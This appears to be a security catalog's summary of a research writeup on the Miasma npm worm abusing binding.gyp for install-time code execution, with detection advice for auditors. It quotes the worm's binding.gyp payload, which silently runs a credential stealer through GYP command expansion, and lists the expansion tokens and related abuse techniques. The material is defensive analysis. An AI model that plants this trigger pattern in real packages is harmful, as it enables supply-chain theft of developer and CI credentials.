Skip to content

Back to the catalog

Wait, binding.gyp Can Do What? Exploring npm's Weirdest Build System
aikido.devwriteup

Wait, binding.gyp Can Do What? Exploring npm's Weirdest Build System

Aikido Security researchers detail how the Miasma npm worm evolved to trigger malicious code via binding.gyp instead of package.json preinstall/postinstall scripts, since npm auto-runs node-gyp rebuild whenever a binding.gyp file exists. The piece walks through GYP's command-expansion syntax (<!(...)), a Python eval() sandbox escape that achieves arbitrary code execution from a "clean" gyp file, hiding payloads in transitively-included files (includes, config.gypi, common.gypi, ~/.gyp/include.gypi persistence), dependency-graph payload smuggling, compiler/linker hijacking via make_global_settings and $(shell) flag injection, and using actions/rules/postbuilds to run commands directly — all executing at npm install time regardless of what package.json declares.

TL;DR Deep technical breakdown of how npm's binding.gyp/node-gyp build system can be abused for install-time code execution (as used by the Miasma worm), including a Python eval() sandbox escape and compiler hijacking tricks.
Document

What it is

A technical breakdown of the latest Miasma npm worm variant, which relocated its execution trigger from package.json lifecycle hooks into binding.gyp — the build-descriptor file that node-gyp (npm's bundled native-addon compiler, a Node.js-maintained fork of Google's abandoned GYP) runs automatically at install time.

How it works

The trigger fires purely on file presence: when npm installs a package containing a binding.gyp at its root, it runs node-gyp rebuild with no script registration needed. The worm's actual payload looked like:

{
  "targets": [
    {
      "target_name": "Setup",
      "type": "none",
      "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
    }
  ]
}

The <!(...) command expansion runs the enclosed shell command at parse time and substitutes its output. Here node index.js runs the same obfuscated credential/CI-token stealer from the Red Hat attacks; > /dev/null 2>&1 suppresses all output so install logs stay clean; && echo stub.c returns a plausible filename so the build continues without error.

The detection-relevant point the summary understates: GYP does not scope expansion to known fields. It walks the entire parsed structure recursively and expands tokens inside any string value under any key at any depth — including invented, undocumented keys like some_random_key. There is no schema constraining where a payload can hide.

Preconditions / Affected

Any workflow that installs npm packages shipping a binding.gyp — i.e. anything with native add-ons. Confirmed compromised: 32 official Red Hat npm packages, @vapi-ai/server-sdk (71k weekly downloads), ai-sdk-ollama (31k weekly downloads). Miasma has also spread to PyPI and GitHub.

What to do

The page's core takeaway is a detection correction, not a patch: a clean package.json with no pre/postinstall hooks is not evidence a package is safe. When auditing, inspect binding.gyp for command-expansion tokens across all keys and nesting levels, not just documented build fields:

  • <!(command), >!(command), ^!(command) — raw output substitution
  • <!@(command), >!@(command), ^!@(command) — output split into a list
  • <!pymod_do_main(module args) — imports a Python module, calls its DoMain()
  • <|(name item...) — writes a file at parse time

All execute at parse time, before compilation.

Caveats

The fetched text is truncated mid-section ("The sandbox escap…"), so the article's sandbox-evasion and compiler-hijacking material is not captured here, and the page states no formal mitigation or tooling fix.

Technologies named here

Techniques named here

  • Install-time code execution via binding.gyp presence
  • GYP command expansion abuse
  • Python eval sandbox escape in GYP parsing
  • Malicious target dependencies across .gyp files
  • Malicious flag injection via cflags/CFLAGS with $
  • Code execution via actions, rules, and postbuilds

Threat actors named here